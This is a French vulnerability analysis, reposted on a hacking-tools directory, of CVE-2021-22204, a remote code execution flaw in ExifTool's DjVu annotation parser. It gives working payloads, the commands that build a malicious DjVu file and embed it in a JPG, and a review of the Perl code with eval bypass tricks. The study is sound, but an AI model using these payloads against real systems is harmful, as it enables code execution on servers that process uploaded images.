Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-22204 — Analyse technique approfondie de CVE-2021-22204 (ExifTool RCE) avec reproduction du PoC, construction de payload et revue de code Perl du parseur d'annotations DjVu vulnérable. | Kitploit
Outils/GitHubGitHub/trganda/cve-2021-22204
Analyse des VulnérabilitésAnalyse de CodeExploitationArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubtrganda/cve-2021-22204

CVE-2021-22204

Analyse technique approfondie de CVE-2021-22204 (ExifTool RCE) avec reproduction du PoC, construction de payload et revue de code Perl du parseur d'annotations DjVu vulnérable.

Voir le dépôt
3il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité d'exécution de code à distance dans ExifTool

Ceci devrait être un article d'analyse de CVE-2021-22204, mais c'est plutôt comme mon brouillon, rempli de choses désordonnées. Pour un article d'analyse de vulnérabilité, cela semble un peu bavard, mais cela m'a beaucoup appris.

Honnêtement, je n'avais jamais utilisé cet outil et je n'avais presque jamais touché au langage Perl, ce qui fait que j'avais beaucoup de questions dans mon esprit pendant l'analyse et même la reproduction. Avant de commencer l'analyse, regardons d'abord les PoC déjà publiés en ligne et mes questions.

PoC - convisolabs

Un article que j'ai vu est [1], qui donne une brève introduction à la cause de la vulnérabilité, mais comme je ne comprends pas le code Perl, beaucoup de points ne sont pas clairs. Le processus de reproduction est le suivant :

Télécharger la version 12.23 d'exiftool

root@kitploit:~
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

Décompresser et installer

root@kitploit:~
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

Bien sûr, si vous ne voulez pas l'installer, vous pouvez simplement placer le fichier exiftool du répertoire exiftool-12.23 dans un dossier accessible par la variable d'environnement pour utiliser directement l'outil, car Perl est un langage interprété, similaire à Python.

Créer une image malveillante : d'abord, installer les outils nécessaires

root@kitploit:~
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

Exécuter les commandes suivantes pour créer un fichier djvu malveillant

root@kitploit:~
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# C'est ce qui m'a le plus dérouté : je ne comprends pas pourquoi il faut compresser (car d'autres PoC ne le font pas)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Tout format 'N,N' où N est un nombre
# BGjp = Attend une image JPEG, mais on peut utiliser /dev/null pour n'utiliser aucune image de fond
# ANTz = Écrira le bloc d'annotation compressé avec le fichier d'entrée

Ensuite, analyser ce fichier malveillant avec l'outil exiftool, et on verra que la commande id est exécutée avec succès

root@kitploit:~
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Lors de la création du fichier au format djvu avec la commande djvumake, peut-on éviter de compresser le payload ? Car du point de vue de l'analyse, cela rend la visualisation et le test moins pratiques. Bien sûr, il suffit de remplacer le paramètre ANTz par ANTa. Les instructions pour ANTz et ANTa se trouvent dans la documentation d'exiftool [3], mais je n'ai toujours pas trouvé leur signification précise, car aucune documentation standard n'a été trouvée.

Je voudrais me plaindre ici : j'ai essayé de consulter la description des paramètres via man djvumake, mais elle ne contient aucune explication sur ANTz et ANTa. La date du document est 2001, il n'a pas été mis à jour depuis longtemps.

Tag IDTag NameWritable
'ANTa'ANTa-
'ANTz'CompressedAnnotation-

ANTa signifie stocker Annotation en texte clair dans metadata du fichier djvu, tandis que ANTz est au format compressé bzz.

Cependant, les fichiers au format djvu ne sont pas courants, en particulier sur les sites web où il y a des téléchargements d'images, la plupart n'acceptent que des fichiers png/jpg/jpeg. Donc, si on pouvait transformer un fichier djvu malveillant en fichier jpg, ce serait bien.

L'outil exiftool nous aide à modifier le contenu des images. Il suffit d'insérer le fichier djvu malveillant à un endroit approprié du fichier jpg. Nous expliquerons plus tard, lors de l'analyse, quel est cet emplacement et pourquoi il convient.

Créer un fichier de configuration exiftool eval.config

root@kitploit:~
%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        # 0xc51b correspond au Tag 'HasselbladExif'[6]
        0xc51b => {
            # Le nom peut être défini arbitrairement, c'est le nom du paramètre reçu
            Name => 'HasselbladExif',
            # Type de variable accessible en écriture
            Writable => 'string',
            # Le groupe auquel les données écrites appartiennent dans les métadonnées[7]
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);
1; #end

Pour la syntaxe des fichiers de configuration d'exiftool, voir [4][5]. Ensuite, prendre une image jpg normale poc.jpg et exécuter la commande suivante

root@kitploit:~
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg

Puis analyser poc.jpg avec exiftool ; la commande s'exécute avec succès

root@kitploit:~
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
Directory                       : .
File Size                       : 88 bytes
File Modification Date/Time     : 2021:11:02 21:55:23+08:00
File Access Date/Time           : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time     : 2021:11:02 21:55:23+08:00
File Permissions                : -rwxrwxrwx
File Type                       : DJVU
File Type Extension             : djvu
MIME Type                       : image/vnd.djvu
Image Width                     : 1
Image Height                    : 1
DjVu Version                    : 0.24
Spatial Resolution              : 300
Gamma                           : 2.2
Orientation                     : Horizontal (normal)
Image Size                      : 1x1
Megapixels                      : 0.000001

Analyse de la vulnérabilité

L'analyse suivante s'appuie sur le contenu de [2]. La version affectée par la vulnérabilité est exiftool < 12.24. Le fichier à l'origine de la vulnérabilité est

root@kitploit:~
lib/Image/ExifTool/DjVu.pm (line 202)

Le code de la fonction concernée est le suivant

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    my $dataPt = shift;
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                # we're good unless quote was escaped by odd number of backslashes
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

N'ayant jamais touché au langage Perl, franchement, je n'ai presque rien compris à ce que fait ce code, mais heureusement, il y a de très bons commentaires qui aident à comprendre la fonction. D'après le commentaire de la fonction, elle sert à analyser les données d'annotation dans les fichiers djvu, et d'après la structure du code, elle est récursive, et les données annotation sont délimitées par ().

Expressions régulières en Perl

Pour faciliter la compréhension du code, et également à des fins d'apprentissage, je vais brièvement introduire l'utilisation des expressions régulières en Perl.

L'utilisation des expressions régulières en Perl est particulière, différente des langages que j'ai rencontrés auparavant. En Perl, il existe trois formes d'expressions régulières :

  • Correspondance m//, le m peut être omis
  • Substitution s///
  • Translittération tr///

Ce qui se trouve entre // est une expression régulière ou une chaîne de caractères, mais le délimiteur peut aussi être {} au lieu de //, c'est une caractéristique de Perl.

Voyons d'abord un exemple de code de correspondance

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
$str =~ /this/;

print $str;
print "\n";

En Perl, on peut utiliser la fonctionnalité des expressions régulières via l'opérateur =~. Le code ci-dessus, que l'expression régulière corresponde ou non, affichera this is a string lorsqu'il imprime $str. Mais si l'expression régulière ne correspond pas, elle renvoie un booléen false.

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
if ($str =~ /this12/) {
    print "true\n";
} else {
    print "false\n";
}

Si l'on veut remplacer le contenu d'une variable chaîne, on peut faire comme ci-dessous

root@kitploit:~
#!/usr/bin/perl

$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;


print $str;
print "\n";

# output
# this is str

L'utilisation de la substitution modifie directement la valeur de la variable.

Maintenant qu'on comprend le contenu des expressions régulières en Perl, revenons à la fonction précédente

root@kitploit:~
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
#          and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
#        a number of assumptions here!
sub ParseAnt($)
{
    # Récupère le paramètre passé (une référence)
    my $dataPt = shift;
    print($$dataPt);
    my (@toks, $tok, $more);
    # (the DjVu annotation syntax really sucks, and requires that every
    # single token be parsed in order to properly scan through the items)
Tok: for (;;) {
        # find the next token
        last unless $$dataPt =~ /(\S)/sg;   # get next non-space character
        if ($1 eq '(') {       # start of list
            # Rencontre une parenthèse gauche, on traite récursivement
            $tok = ParseAnt($dataPt);
        } elsif ($1 eq ')') {  # end of list
            $more = 1;
            last;
        } elsif ($1 eq '"') {  # quoted string
            $tok = '';
            for (;;) {
                # get string up to the next quotation mark
                # this doesn't work in perl 5.6.2! grrrr
                # last Tok unless $$dataPt =~ /(.*?)"/sg;
                # $tok .= $1;
                # Récupère la position de la correspondance précédente de l'expression régulière ; ici, c'est la position du premier guillemet
                my $pos = pos($$dataPt);
                last Tok unless $$dataPt =~ /"/sg;
                # Correspond à nouveau à la position du guillemet droit et extrait le contenu entre les guillemets
                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
                print($tok."\n");
                # we're good unless quote was escaped by odd number of backslashes
                # Vérifie si le nombre de barres obliques inverses est impair, pour éviter que le " final ne soit échappé dans qq{""}
                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
                # Si impair, on ajoute un guillemet
                $tok .= '"';    # quote is part of the string
            }
            # must protect unescaped "$" and "@" symbols, and "\" at end of string
            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
            # convert C escape sequences (allowed in quoted text)
            print(qq{"$tok"}."\n");
            $tok = eval qq{"$tok"};
        } else {                # key name
            pos($$dataPt) = pos($$dataPt) - 1;
            # allow anything in key but whitespace, braces and double quotes
            # (this is one of those assumptions I mentioned)
            $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
        }
        push @toks, $tok if defined $tok;
    }
    # prevent further parsing unless more after this
    pos($$dataPt) = length $$dataPt unless $more;
    return @toks ? \@toks : undef;
}

Pour faciliter la compréhension, nous avons besoin d'un fichier adapté qui, lorsqu'il est analysé par exiftool, exécute cette fonction. On peut construire un fichier djvu exploit.djvu avec le payload suivant :

root@kitploit:~
(metadata (Author "trganda"))

Ensuite, insérer quelques print dans les parties clés de la fonction ParseAnt($) pour afficher des informations, comme ci-dessus. Puis, dans le répertoire source d'exiftool, exécuter

root@kitploit:~
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore

On voit ici que le contenu final passé à eval pour exécution est, notez bien que les guillemets doubles sont importants :

root@kitploit:~
"trganda"

Maintenant, si on remplace trganda par la fonction system pour exécuter une commande, cela fonctionne-t-il ? Essayons :

root@kitploit:~
$tok = "${system('id')};";
# output
# "\${system('id')};"

En exécutant, on voit que le résultat n'est que le texte passé ; le code n'est pas exécuté car $ a été remplacé par \$.

root@kitploit:~
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;

Alors, comment contourner cette restriction ? Il faut y aller pas à pas. L'auteur de [2], pendant ses tests, a utilisé le payload suivant :

root@kitploit:~
(metadata (Author "a\
""))

Le résultat après exécution est le suivant, eval a levé une exception :

root@kitploit:~
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\

a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Expliquons ce qui se passe avec ce payload. Concentrons-nous sur la deuxième boucle for :

root@kitploit:~
# Le contenu de l'Annotation Author est, ne pas oublier le \n
"a\(\n)
""
# Dans la boucle for, la première sous-chaîne extraite, $tok obtient le contenu suivant, car la première expression régulière correspond au premier guillemet, la seconde au premier guillemet de la deuxième ligne
a\(\n)
# Ensuite, le code vérifie si le nombre de \ en fin de ligne est impair ; si oui, il ajoute un ",
# et l'expression régulière $tok =~ /(\\+)$/ associe le $ à \n, pas à la fin du texte.
# Ainsi, le code suivant s'exécute, ajoutant un " à la fin de $tok.
a\(\n)"
# La deuxième entrée dans la boucle extrait la sous-chaîne, qui est le contenu entre les guillemets de la deuxième ligne, mais c'est vide, après concaténation avec $tok, le résultat est le même qu'avant
a\(\n)"
# Ensuite, le contenu passé à eval est
qq{"$tok"} -> "a\(\n)""
# L'exécution de eval échoue car le guillemet n'est pas fermé
String found where operator expected at (eval 8) line 2, at end of line
        (Missing semicolon on previous line?)

Pour la logique d'exécution de eval en Perl, je recommande de consulter la documentation officielle [9]. Cependant, comme certaines parties ne sont pas mentionnées dans la documentation et que je n'ai jamais utilisé Perl, j'ai du mal à comprendre certains aspects au début. Je n'ai pu comprendre certaines logiques de eval qu'en testant continuellement des exemples de code. Ci-dessous, j'aborderai certains points utiles pour comprendre cette vulnérabilité avant de parler de l'exécution réelle du payload.

eval en Perl

En Perl, eval peut non seulement exécuter des fragments de code, mais aussi capturer des exceptions sans interrompre l'exécution du programme. eval peut recevoir une constante de chaîne, une variable de chaîne ou directement du code à analyser et exécuter.

root@kitploit:~
# Constante de chaîne
eval "system('id')";
# Variable
$cm = "system('id')";
eval $cm;
eval "$cm";
# Exécuter directement du code
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)

La stratégie d'exécution de eval est de ne retourner que le résultat de la dernière sous-instruction. Cela signifie que s'il y a plusieurs segments de code, seul le dernier résultat est pris, comme ci-dessous :

root@kitploit:~
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST

Lorsque eval rencontre une erreur d'exécution dans une instruction, le code suivant n'est plus exécuté et une exception est levée (le cas échéant).

Revenons au payload de test précédent. Y a-t-il quelque chose à remarquer ? Si nous pouvions fermer correctement le " et placer le code à exécuter entre les guillemets de la deuxième ligne, le code pourrait être exécuté par eval. L'auteur de [2] a donné la forme suivante :

root@kitploit:~
(metadata
    (Author "\
" . return `date`; #")
)
# Le contenu passé à eval pour exécution est
"\ 
" . return `date`; #"

Comment comprendre cette partie exécutée par eval ? Tout d'abord, l'opérateur . en Perl sert à concaténer les chaînes. Donc, d'abord, on exécute :

root@kitploit:~
return `date`;

Puis le résultat est concaténé avec \(\n). En fait, return n'est pas nécessaire ; la commande date s'exécute aussi sans lui, et le dernier " est commenté.

Bien sûr, on peut aussi écrire comme ceci :

root@kitploit:~
(metadata (Author "\
"; return `date`; #"))
# Le contenu passé à eval pour exécution est
"\ 
"; return `date`; #"

Avec cette approche, eval analyse d'abord "\(\n)";, cette partie est interprétée comme une chaîne, puis continue à analyser les instructions suivantes, donc la commande date est exécutée avec succès.

Après avoir exécuté le payload ci-dessus, on obtient le résultat suivant, montrant une exécution réussie :

root@kitploit:~
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number         : 12.23
File Name                       : exploit.djvu
...
Author                          : 2021年 11月 04日 星期四 15:22:05 CST.
...

Autres méthodes de contournement

Écrire jusqu'ici, je suis un peu fatigué. Le payload donné par l'auteur de [2] fonctionne parfaitement en contournant le ". Existe-t-il d'autres moyens ? En regardant en arrière, le contenu de [1] donnait déjà la solution :

root@kitploit:~
(metadata "\c${system('id')};")

Il faut savoir que la fonction ParseAnt($) remplace le symbole $, ce qui empêche l'exécution directe. Alors pourquoi cela fonctionne-t-il ? Vous êtes-vous demandé quel est le rôle de \c ? Tout d'abord, en construisant un fichier djvu avec ce payload ci-dessus et en l'analysant avec exiftool, le contenu passé à eval est :

root@kitploit:~
"\c\${system('id')};"

Sans \c :

root@kitploit:~
"\${system('id')};"

Ce code ne sera pas exécuté ; il ne retournera qu'une chaîne, car $ a été échappé. Le rôle de \c est d'annuler l'effet du \ avant $, permettant ainsi l'exécution du code suivant. En Perl, il existe de nombreux caractères d'échappement, et \c en fait partie, mais il n'est pas utilisé seul ; il doit être associé à un caractère arbitraire.

Caractère d'échappementSignification
\cXCaractère de contrôle, X peut être n'importe quel caractère

C'est précisément pour cela que \c\ est interprété comme autre chose, ce qui permet l'exécution du code suivant.

Autres formats de fichiers

Les fichiers malveillants construits précédemment étaient tous limités au format djvu. Il serait plus significatif de pouvoir construire un fichier couramment utilisé, comme une image jpg, etc. Pour y parvenir, il faut trouver quels fichiers, lorsqu'ils sont analysés, appellent la fonction vulnérable ParseAnt($).

En remontant, on trouve que ProcessAnt($$$) appelle ParseAnt($), mais on ne peut pas remonter plus loin directement.

root@kitploit:~
ProcessAnt($$$)
	|
	v
 ParseAnt($)

Comme le langage Perl a un mécanisme de chargement dynamique de modules, on peut essayer de voir où Djvu.pm est chargé.

1636264024890.png

En examinant les fichiers trouvés un par un, on découvre que dans lib/Image/ExifTool.pm à la ligne 2620, le code suivant décide quel module charger en fonction du type de fichier pour traiter le fichier correspondant.

root@kitploit:~
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
#         1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
	# ...
	        my $module = $moduleName{$type};
            $module = $type unless defined $module;
            my $func = "Process$type";

            # load module if necessary
            if ($module) {
                require "Image/ExifTool/$module.pm";
                $func = "Image::ExifTool::${module}::$func";
            } elsif ($module eq '0') {
                $self->SetFileType();
                $self->Warn('Unsupported file type');
                last;
            }
	# ...
}

Ensuite, on cherche où ExtractInfo($;@) est appelé. Il y a plusieurs endroits ; on se concentre sur le code dans lib/Image/ExifTool/Exif.pm à la ligne 3004 :

root@kitploit:~
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
    GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
    WRITE_PROC => \&WriteExif,
    CHECK_PROC => \&CheckExif,
    WRITE_GROUP => 'ExifIFD',   # default write group
    SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
    # ...
	0xc51b => { # (Hasselblad H3D)
        Name => 'HasselbladExif',
        Format => 'undef',
        RawConv => q{
            $$self{DOC_NUM} = ++$$self{DOC_COUNT};
            $self->ExtractInfo(\$val, { ReEntry => 1 });
            $$self{DOC_NUM} = 0;
            return undef;
        },
    },
    # ...
);

%Image::ExifTool::Exif::Main est une table de type Map, et la fonction de Exif.pm est, comme l'indique le commentaire, de lire les informations de métadonnées conformes aux spécifications EXIF/TIFF :

Description: Read EXIF/TIFF meta information

En fait, lors de la reproduction précédente, nous avions déjà vu %Image::ExifTool::Exif::Main. À l'époque, je ne comprenais pas ce que signifiait 0xc51 et pourquoi cette valeur était nécessaire. Maintenant, je sais que si les métadonnées d'un fichier contiennent l'ID correspondant à 0xc51, elles seront analysées par la fonction ExtractInfo, qui mènera progressivement à la fonction vulnérable.

Ainsi, précédemment, grâce à la puissante fonctionnalité de personnalisation d'exiftool, nous avons écrit un fichier de configuration, défini un fichier jpg ordinaire, inséré une métadonnée de type 0xc51b contenant le contenu malveillant. À ce stade, tout le processus de déclenchement est clair, et mes propres questions ont trouvé leurs réponses. L'auteur de [2] a également donné des méthodes pour insérer des données malveillantes dans d'autres formats de fichiers, dont l'idée est similaire à celle-ci.

Correctif

Le diff sur GitHub est le suivant :

diff

Références

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)

[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io

[3] TagNames of DjVu

[4] TagNames Explan

[5] Exiftool User Defined Configuration File

[6] EXIF

[7] Groups

[8] exiftool-arbitrary-code-execution

[9] eval in Perl

Télécharger l’outil